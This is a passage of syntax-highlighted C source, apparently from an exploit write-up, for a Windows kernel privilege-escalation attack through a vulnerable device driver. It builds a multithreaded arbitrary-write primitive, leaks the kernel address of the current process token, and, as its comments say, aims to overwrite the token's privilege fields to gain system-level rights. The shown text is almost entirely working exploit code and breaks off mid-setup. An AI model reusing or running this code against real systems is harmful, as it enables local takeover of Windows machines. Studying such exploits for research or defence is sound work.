<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">        OpenDevice</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">&amp;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">hDevice, </span><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B">bv</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">-&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">devicePath</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">);</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">        what_write_where_array</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[i]-&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">id</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> i;</span></span>
<span class="line"><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">        what_write_where_array</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[i]-&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">threadId</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> =</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 0</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span></span>
<span class="line"><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">        what_write_where_array</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[i]-&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">hdev</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> hDevice;</span></span>
<span class="line"><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">        what_write_where_array</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[i]-&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">where</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> =</span><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B"> bv</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">-&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">where</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> +</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">uint64_t</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)(i </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">*</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> sizeof</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">uint8_t</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">));</span></span>
<span class="line"><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">        what_write_where_array</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[i]-&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">what</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> =</span><span style="--shiki-light:#E36209;--shiki-dark:#E06C75"> what_uint8</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[i];</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    }</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    for</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">int</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> i </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 0</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">; i </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">&lt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> what_uint8_size; i</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">++</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) {</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        DWORD dwThreadId </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 0</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">        hThreadArray</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[i] </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> CreateThread</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">            NULL</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">                               // default security attributes</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">            0</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">                                  // use default stack size  </span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">            write_byte,</span><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">                         // thread function name</span></span>
<span class="line"><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">            what_write_where_array</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[i],</span><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">          // argument to thread function </span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">            CREATE_SUSPENDED,</span><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">                   // Create the thread in the default state</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">            &amp;</span><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">dwThreadIdArray</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[i]</span><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">                 // returns the thread identifier</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        );</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">        if</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">hThreadArray</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[i] </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">==</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> NULL</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) {</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">            printf</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"[!][write_mem][</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">%d</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> - </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">%d</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">] Error while creating the thread</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\n</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, i, </span><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">dwThreadIdArray</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[i]);</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">            ExitProcess</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">3</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">);</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        }</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">        what_write_where_array</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[i]-&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">threadId</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> =</span><span style="--shiki-light:#E36209;--shiki-dark:#E06C75"> dwThreadIdArray</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[i];</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    }</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    for</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">int</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> i </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 0</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">; i </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">&lt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> what_uint8_size; i</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">++</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) {</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">        //printf("[+][write_mem][%d - %d] Resuming thread\n", i, dwThreadIdArray[i]);</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        DWORD res2 </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> ResumeThread</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span></span>
<span class="line"><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">            hThreadArray</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[i]</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        );</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">        if</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (res2 </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">==</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> -</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">1</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) {</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">            printf</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"[!][write_mem][</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">%d</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> - </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">%d</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">]  Error resuming thread</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\n</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, i, </span><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">dwThreadIdArray</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[i]);</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        }</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    }</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    printf</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"[+][write_mem] Wait for thread to complete</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\n</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">);</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    Sleep</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">20000</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">);</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">}</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">int</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> wmain</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">int</span><span style="--shiki-light:#E36209;--shiki-light-font-style:inherit;--shiki-dark:#E06C75;--shiki-dark-font-style:italic"> argc</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> wchar_t</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">*</span><span style="--shiki-light:#E36209;--shiki-light-font-style:inherit;--shiki-dark:#E06C75;--shiki-dark-font-style:italic"> argv</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">[]</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">{</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    printf</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"[+] Strating program</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\n</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">);</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    // Allocate memory which will hold the device path</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    LPCWSTR devicePath </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (LPWSTR)</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">HeapAlloc</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">        GetProcessHeap</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(),</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        HEAP_ZERO_MEMORY,</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        (MAX_PATH </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">+</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 1</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">*</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> sizeof</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(WCHAR)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    );</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    if</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (devicePath </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">==</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> NULL</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) {</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">        PrintError</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">TEXT</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"malloc devicePath"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">));</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">        return</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    }</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    if</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (argc </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">==</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 2</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) {</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">        swprintf_s</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(devicePath, MAX_PATH, L</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">.</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\</span><span style="--shiki-light:#B31D28;--shiki-light-font-style:italic;--shiki-dark:#FFFFFF;--shiki-dark-font-style:inherit">%</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">ws"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">argv</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">1</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">]);</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    }</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    else</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> {</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">        swprintf_s</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(devicePath, MAX_PATH, L</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">.</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\</span><span style="--shiki-light:#B31D28;--shiki-light-font-style:italic;--shiki-dark:#FFFFFF;--shiki-dark-font-style:inherit">%</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">ws"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, DEVICE_NAME_W);</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    }</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    // 1. Opening the token of the current process</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    HANDLE hToken </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> NULL</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    OpenProcessToken</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">GetCurrentProcess</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(), TOKEN_ADJUST_PRIVILEGES </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">|</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> TOKEN_QUERY, </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">&amp;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">hToken);</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    printf</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"[+] Current process token address : 0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">%p</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\n</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, hToken);</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    // 2. Finding the kernel pointer for this token object using the SystemExtendedHandleInformation class in the NtQuerySystemInformation API.</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    PVOID token_ptr </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> GetObjectPointedByHandle</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(hToken);</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    printf</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"[+] Kernel pointer for the token as PVOID  : 0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">%p</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\n</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, token_ptr);</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    // 3. Use the write primitive to overwrite the TOKEN-&gt;_SEP_TOKEN_PRIVILEGES-&gt;Enabled</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    // and TOKEN-&gt;_SEP_TOKEN_PRIVILEGES-&gt;Present fields to grant system level privileges to our process.</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    LPVOID allocated_ptr </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> VirtualAlloc</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#D73A49;--shiki-dark:#E06C75">0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">80002018</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">4096</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> *</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> sizeof</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">uint64_t</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">), MEM_COMMIT </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">|</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> MEM_RESERVE, PAGE_READWRITE);</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    if</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (allocated_ptr </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">==</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> NULL</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    {</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">        PrintError</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">TEXT</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"VirtualAlloc"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">));</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">        return</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    }</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    uint64_t*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> new_ptr </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">uint64_t*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)allocated_ptr;</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    for</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">uint64_t</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> i </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 0</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">; i </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">&lt;</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 4096</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">; i</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">++</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) {</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">        *</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">new_ptr </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">uint64_t</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">0</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        new_ptr</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">++</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    }</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    // Raise thread priority</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    int</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> nPriority </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> ABOVE_NORMAL_PRIORITY_CLASS;</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    printf</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"[+] Make the process to only run on 1 CPU</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\n</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">);</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    DWORD processAffinity </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 1</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span></span>
